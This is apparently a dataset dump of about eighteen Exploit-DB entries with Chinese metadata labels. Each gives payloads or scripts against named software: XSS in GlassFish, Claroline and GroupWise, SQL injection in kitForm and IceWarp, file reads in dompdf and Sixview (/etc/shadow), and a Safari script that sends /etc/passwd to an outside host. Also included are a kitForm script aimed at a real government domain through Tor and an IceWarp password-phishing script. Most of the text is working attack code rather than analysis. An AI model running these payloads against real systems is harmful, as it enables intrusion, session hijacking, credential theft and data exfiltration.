QLWD/code_shield huggingface dataset:
标题: Novell Groupwise 8.0 Webaccess - Multiple Vulnerabilities EDB-ID: 33007 CVE: 2009-1634 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/35066/info

Novell GroupWise WebAccess is prone to multiple security vulnerabilities.

An attacker may leverage these issues to bypass certain security restrictions or conduct cross-site scripting attacks.

Note that some of the issues may be related to BID 35061. We will update this BID as more information emerges.

Versions prior to WebAccess 7.03 HP3 and 8.0.0 HP2 are vulnerable.

Following harmless code uses an onload() event handler to bootstrap its payload as soon as the email
is open.
The first stage of this script extracts the session token (User.Context) from within the current
document&#039;s URI and used
to make up the second stage.
The second injects an iframe in the current page which in turn calls the signature configuration
interface and changes the user&#039;s signature on the fly.
This example uses a fake target, &#039;gwwa.victim.com&#039; that must be changed with a real server
addresss/name.
Here, the security parser won&#039;t recognize "onload = &#039;javascript:..." as potentially unsafe just
because of the space characters.

<!--
    <html>
    <head>
    </head>
        <body onmouseover = &#039;return false;&#039; onload = &#039;javascript:var
context=document.location.href;var token=context.replace(/^.+context=([a-z0-9]+).+$/i,"$1");
        var
malwareS1="%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%62%72%2F%3E%3C%62%72%2F%3E%4E%6F%77%20%63%68%65%63%6B%20%79%6F%75%72%20%73%69%67%6E%61%74%75%72%65%20%2E%2E%2E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%77%77%61%2E%76%69%63%74%69%6D%2E%63%6F%6D%2F%67%77%2F%77%65%62%61%63%63%3F%55%73%65%72%2E%63%6F%6E%74%65%78%74%3D";
        var
malwareS2="%26%61%63%74%69%6F%6E%3D%53%69%67%6E%61%74%75%72%65%2E%4D%6F%64%69%66%79%26%6D%65%72%67%65%3D%73%69%67%6E%61%74%75%72%26%53%69%67%6E%61%74%75%72%65%2E%69%73%45%6E%61%62%6C%65%64%3D%65%6E%61%62%6C%65%64%26%53%69%67%6E%61%74%75%72%65%2E%69%73%41%75%74%6F%6D%61%74%69%63%3D%61%75%74%6F%6D%61%74%69%63%26%53%69%67%6E%61%74%75%72%65%2E%73%69%67%6E%61%74%75%72%65%3D%25%32%30%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%2D%2B%25%30%64%25%30%61%25%30%64%25%30%61%30%77%6E%65%64%2E%22%20%77%69%64%74%68%3D%30%70%78%20%68%65%69%67%68%74%3D%30%70%78%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E";
        document.write(unescape(malwareS1)+token+unescape(malwareS2));return false;&#039;>
            <br/>
            <br/><br/>Now check your signature ...
        </body>
    </html>
--> URL: https://www.exploit-db.com/exploits/33007
标题: Kingsoft Webshield 1.1.0.62 - Cross-Site Scripting / Remote Command Execution EDB-ID: 33001 CVE: 2009-1786 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/35038/info

The Webshield feature of Kingsoft Internet Security 9 is prone to a remote cross-site scripting and command-execution vulnerability.

Remote attackers may exploit this vulnerability to compromise an affected computer.

This issue affects WebShield 1.1.0.62 and prior versions. 

http://www.example.com/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e URL: https://www.exploit-db.com/exploits/33001
标题: dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read EDB-ID: 33004 CVE: 2014-2383 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-24 漏洞利用脚本: Vulnerability title: Arbitrary file read in dompdf
CVE: CVE-2014-2383
Vendor: dompdf
Product: dompdf
Affected version: v0.6.0
Fixed version: v0.6.1 (partial fix)
Reported by: Alejo Murillo Moyas

Details:
An arbitrary file read vulnerability is present on dompdf.php file that
allows remote or local attackers to read local files using a special
crafted argument. This vulnerability requires the configuration flag
DOMPDF_ENABLE_PHP to be enabled (which is disabled by default).

Using PHP protocol and wrappers it is possible to bypass the dompdf's
"chroot" protection (DOMPDF_CHROOT) which prevents dompdf from accessing
system files or other files on the webserver. Please note that the flag
DOMPDF_ENABLE_REMOTE needs to be enabled.

Command line interface:
php dompdf.php
php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>

Web interface:
   
http://example/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>
        

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/33004
标题: Profense 2.2.20/2.4.2 - Web Application Firewall Security Bypass EDB-ID: 33002 CVE: 2009-1593 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/35053/info

Profense Web Application Firewall is prone to multiple security-bypass vulnerabilities.

An attacker can exploit these issues to bypass certain security restrictions and perform various web-application attacks.

Versions *prior to* the following are vulnerable:

Profense 2.4.4
Profense 2.2.22 

http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass
http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E URL: https://www.exploit-db.com/exploits/33002
标题: Claroline 1.8.11 - '/claroline/linker/notfound.php' Cross-Site Scripting EDB-ID: 32991 CVE: 2009-1907 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/34883/info

Claroline is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Claroline 1.8.11 is vulnerable; other versions may also be affected. 

http://www.example.com/referer/?"><script>alert(123)</script><a%20href=" URL: https://www.exploit-db.com/exploits/32991
标题: Verlihub Control Panel 1.7 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32989 CVE: 2009-2569 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/34856/info

Verlihub Control Panel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issues affect Verlihub Control Panel 1.7e; other versions may also be affected.

http://www.example.com/index.php?page=login&nick="><script>alert("Vulnerable");</script>
http://www.example.com/index.php?page=login&nick="><iframe src=
http://www.example.com/index.html?news></iframe> URL: https://www.exploit-db.com/exploits/32989
标题: Woodstock 4.2 404 - Error Page Cross-Site Scripting EDB-ID: 32987 CVE: 2009-1554 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34829/info

Woodstock is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Woodstock 4.2 is vulnerable; other versions may also be affected.

http://www.example.com/theme/META-INF/>+ACJ-+AD4APB-SCRIPT+AD7-alert(+ACI-DSecRG_XSS+ACI-)+ADz-/SCRIPT+AD7- URL: https://www.exploit-db.com/exploits/32987
标题: VerliAdmin 0.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32988 CVE: 2009-2571 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34845/info

VerliAdmin is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issues affect VerliAdmin 0.3.7 and 0.3.8; other versions may also be affected. 

http//www.example.com/index.php?q=bantest&nick="><script>alert(String.fromCharCode(88,83,83))</script>
http//www.example.com/index.php?nick="'/><script>alert(String.fromCharCode(88,83,83))</script>
http//www.example.com/index.php?q="'/><script>alert(String.fromCharCode(88,83,83))</script>
http//www.example.com/index.php?"'/><script>alert(String.fromCharCode(88,83,83))</script> URL: https://www.exploit-db.com/exploits/32988
标题: kitForm CRM Extension 0.43 - 'sorter.ph?sorter_value' SQL Injection EDB-ID: 32983 CVE: 2014-3757 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-22 漏洞利用脚本: -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Happy easter..

* Product: phpManufaktur / kitForm
* Version: <= 0.43 (2013-11-22)
* Date: 2014-04-20
* Criticality: Medium
* Exploitable from: Remote
* Impact: SQL Injection
* Product URL: https://github.com/phpManufaktur/kitForm

1. Vendor Description:

kitForm is an extension for the Customer Relationship Management (CRM)
KeepInTouch and the Content Management Systems WebsiteBaker or LEPTON
CMS. It enables the easy creation of forms and dialogs for the CMS and
the CRM.

2. Vulnerability

A SQL injection error within the sorter.php file can be exploited by
unauthenticated people to conduct SQL injection attacks. The file does
not sanitize the "sorter_value" parameter before using the value in a
SQL query.

A successful exploit can extract database content and e.g.
administrative credentials (password hash).

22. $sorter_table = $_POST['sorter_table'];
23. switch ($sorter_table):
24. case 'mod_kit_form':
25.  // Frageboegen sortieren
26.   $rowIDs = implode(',', $_POST['rowID']);
27.  $sorter_value = $_POST['sorter_value'];
28.  $SQL = sprintf(  "UPDATE %smod_kit_form_table_sort
  SET sort_order='%s' WHERE sort_table='%s'
  AND sort_value='%s'",
29.  TABLE_PREFIX, $rowIDs, $sorter_table, $sorter_value);
30.  $database->query($SQL);

3. Exploit

 1. import httplib2, socks, urllib
 2.
 3. ### Change these values ###
 4. target = "http://fbi.gov"
 5. SQLi = "or 1=1 #"
 6. tor_http_proxy = 8118
 7.
 8. httplib2.debuglevel=4
 9.
10. headers = {
11.  'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1;
  zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4',
12.   'Content-Type': 'application/x-www-form-urlencoded'
13. }
14. h = httplib2.Http(proxy_info = httplib2.ProxyInfo(
  socks.PROXY_TYPE_HTTP, '127.0.0.1', tor_http_proxy, timeout=30)
15.
16. data = dict(
17.     rowID = "1",
18.     sorter_table = "mod_kit_form",
19.     sorter_value = "AAAA' %s" % SQLi  # <-- injection
20. )
21.
22. resp, content = h.request(
  "%s" % target, "POST", urllib.urlencode(data), headers=headers)
23
24 print resp
25 print content

xoxo chapp
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iQEcBAEBAgAGBQJTU9cEAAoJECKwmdefSHejw94H/384qa0OpLaF93UNisobw0rl
pp7Y6xKvfZn2mtYHxCCMzRmV2FngJHYP1L3pMTfB0VesLB49QBrzp5TOVDkvcoBx
q4D9VOXLxWteedH3S73+plvhKtbQZHAQ74PwY31F2idrzFO10oE4kw6UDDCdpxfq
Z6JVaJQAym3rDuRD20SAjp0opfP0BmijfNmuothfC9DzEQtzU44vWrac3ZSda+lL
VKVFr5NvRQ032G0CHvx+WT8yoFPnFxybwYFbW3Exr7QedjrM8eIpf47xgrzytM7i
sMWpBl/ZqdBkh1LrIin3lKuQgMIeHs+2Rb6Rbep72RKqVxfJy6AXPqhN0804GsU=
=AylG
-----END PGP SIGNATURE----- URL: https://www.exploit-db.com/exploits/32983
标题: IceWarp Merak Mail Server 9.4.1 - 'item.php' Cross-Site Scripting EDB-ID: 32985 CVE: 2009-1467 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34825/info

IceWarp Merak Mail Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
    <title>RedTeam Pentesting</title>
    <link
      href="http://www.example.come"
      rel="self"
      type="application/rss+xml" />
    <link>http://www.example.come</link>
    <description>Seeing your network from the attacker&#039;s perspective</description>
    <pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>
    <language>de</language>
    <item>
      <title>&lt;script&gt;alert(&#039;Title: Your session id is: &#039; +
window.top.sSID);&lt;/script&gt;</title>
      <link>http://www.example.come/pentest</link>
      <pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>
      <description>
        &lt;div o&lt;xml&gt;nmouseover=&quot;alert(&#039;Description: Your session id is: &#039; +
window.top.sSID)&quot;&gt;
          RedTeam Pentesting XSS
        &lt;/div&gt;
      </description>
    </item>
  </channel>
</rss> URL: https://www.exploit-db.com/exploits/32985
标题: Apple Safari 3.2.2 - 'feed:' URI Multiple Input Validation Vulnerabilities EDB-ID: 32994 CVE: 2009-0162 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/34925/info

Apple Safari is prone to multiple input-validation vulnerabilities.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious website.

Successfully exploiting these issues will allow the attacker to execute arbitrary JavaScript code in the local security zone. This may allow the attacker to obtain sensitive information that can aid in further attacks; other consequences may also occur.

These issues affect versions prior to Safari 3.2.3. 

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(�GET�, �file:///etc/passwd�, true);
req.send(�);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(�POST�, �http://www.example.com�, true);
req2.setRequestHeader(�Content-Type�,'application/x-www-form-urlencoded�);
req2.send(�filename=etcpasswd&filecontents=�+escape(stuff));
}
</script>
</summary> URL: https://www.exploit-db.com/exploits/32994
标题: IceWarp Merak Mail Server 9.4.1 - 'Forgot Password' Input Validation EDB-ID: 32986 CVE: 2009-1469 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34827/info

IceWarp Merak Mail Server is prone to an input-validation vulnerability because it uses client-supplied data when performing a 'Forgot Password' function.

Attackers can exploit this issue via social-engineering techniques to obtain valid users' login credentials; other attacks may also be possible.

#! /usr/bin/env python
import urllib2, sys

conf = {
 "captcha_uid": "5989688782215156001239966846169",
 "captcha": "4SJZ Z4GY",
 "forgot": "user@example.com",
 "replyto": "attacker@example.com",
 "server": "http://www.example.com/webmail/server/webmail.php"
}

data = """
<iq type="set">
 <query xmlns="webmail:iq:auth">
   <forgot>%(forgot)s</forgot>
   <captcha uid="%(captcha_uid)s">%(captcha)s</captcha>
   <subject>
     <![CDATA[
       Account expiration %EMAIL%\r\nReply-To: %(replyto)s\n
     ]]>
   </subject>
   <message>
     Dear %FULLNAME%,

     your account

     Username: %USERNAME%
     Password: %PASSWORD%

     has expired. To renew the account, please reply to this email
     leaving the email body intact, so we know the account is still
     used.

     Kind regards,

     the IT department
   </message>
 </query>
</iq>
""" % conf

req = urllib2.Request(conf['server'])
req.add_data(data)
res = urllib2.urlopen(req)
print repr(res.read()) URL: https://www.exploit-db.com/exploits/32986
标题: GlassFish Enterprise Server 2.1 - Admin Console '/resourceNode/jdbcResourceEdit.jsf?name' Cross-Site Scripting EDB-ID: 32981 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
       
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
       
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/resourceNode/jdbcResourceEdit.jsf?name=<IMG SRC=javascript:alert(&#039;DSecRG_XSS&#039;)> URL: https://www.exploit-db.com/exploits/32981
标题: GlassFish Enterprise Server 2.1 - Admin Console /customMBeans/customMBeans.jsf URI Cross-Site Scripting EDB-ID: 32975 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
  
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
  
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/customMBeans/customMBeans.jsf?&#039;);};alert("DSecRG_XSS");</script><!-- URL: https://www.exploit-db.com/exploits/32975
标题: Sixnet Sixview 2.4.1 - Web Console Directory Traversal EDB-ID: 32973 CVE: 2014-2976 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-04-22 漏洞利用脚本: #Exploit Title: Sixnet sixview web console directory traversal
#Date: 2014-04-21
#Exploit Author: daniel svartman
#Vendor Homepage: www.sixnet.com
#Software Link: Not available, hardware piece - appliance
#Version: 2.4.1
#Tested on: Sixnet Sixview web console  (Linux based appliance)
#CVE : 2014-2976


PoV, Sixnet sixview web console handle requests through HTTP on port 18081.
These requests can be received either through GET or POST requests.
I discovered that GET requests are not validated at the server side,
allowing an attacker to request arbitrary files from the supporting OS.

Below is an example of the affected URL and the received answer using
netcat:


ncat  <HOSTNAME> 18081
GET /../../../../../../../../../../etc/shadow HTTP/1.1


HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: text/html
Keep-Alive: timeout=15, max=50
Date: <SNIP>
Last-Modified: <SNIP>
Content-Length: 1025

root:<REMOVED>:15655:0:99999:7:::
bin:*:15513:0:99999:7:::
daemon:*:15513:0:99999:7:::
adm:*:15513:0:99999:7:::
lp:*:15513:0:99999:7:::
sync:*:15513:0:99999:7:::
shutdown:*:15513:0:99999:7:::
halt:*:15513:0:99999:7:::
mail:*:15513:0:99999:7:::
uucp:*:15513:0:99999:7:::
<SNIP> URL: https://www.exploit-db.com/exploits/32973
标题: IceWarp Merak Mail Server 9.4.1 Groupware Component - Multiple SQL Injections EDB-ID: 32968 CVE: 2009-1468 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34820/info

IceWarp Merak Mail Server is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

IceWarp Merak Mail Server 9.4.1 is affected; other versions may be vulnerable as well. 

#!/bin/sh

sid=$1
uid=$2
orderby=$3
if [ -n "$4" ] ; then
    sql=$4
else
    sql="1=0)/*"
fi
curl --silent -d '<iq sid="'$sid'" type="get" format="json">
  <query xmlns="webmail:iq:items">
    <account uid="'$uid'">
      <folder uid="Files">
        <item><values><evntitle></evntitle></values>
          <filter><offset></offset><limit></limit>
            <order_by>'"$orderby"'</order_by>
            <sql>'"$sql"'</sql>
          </filter>
        </item>
      </folder>
    </account>
  </query>
</iq>' https://example.com/webmail/server/webmail.php | \
perl -pe 's/{/\n/g' | grep "result::" | \
sed -e 's/^"VALUE":"result:://' -e 's/"}]}],"ATTRIBUTES":$//' URL: https://www.exploit-db.com/exploits/32968
标题: GlassFish Enterprise Server 2.1 - Admin Console /applications/applications.jsf URI Cross-Site Scripting EDB-ID: 32971 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info

GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/applications/applications.jsf?&#039;);};alert("DSecRG_XSS");</script><!-- URL: https://www.exploit-db.com/exploits/32971
标题: GlassFish Enterprise Server 2.1 - Admin Console /sysnet/registration.jsf URI Cross-Site Scripting EDB-ID: 32978 CVE: 2009-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/34824/info
    
GlassFish Enterprise Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
    
GlassFish Enterprise Server 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/sysnet/registration.jsf?&#039;);};alert("DSecRG_XSS");</script><!-- URL: https://www.exploit-db.com/exploits/32978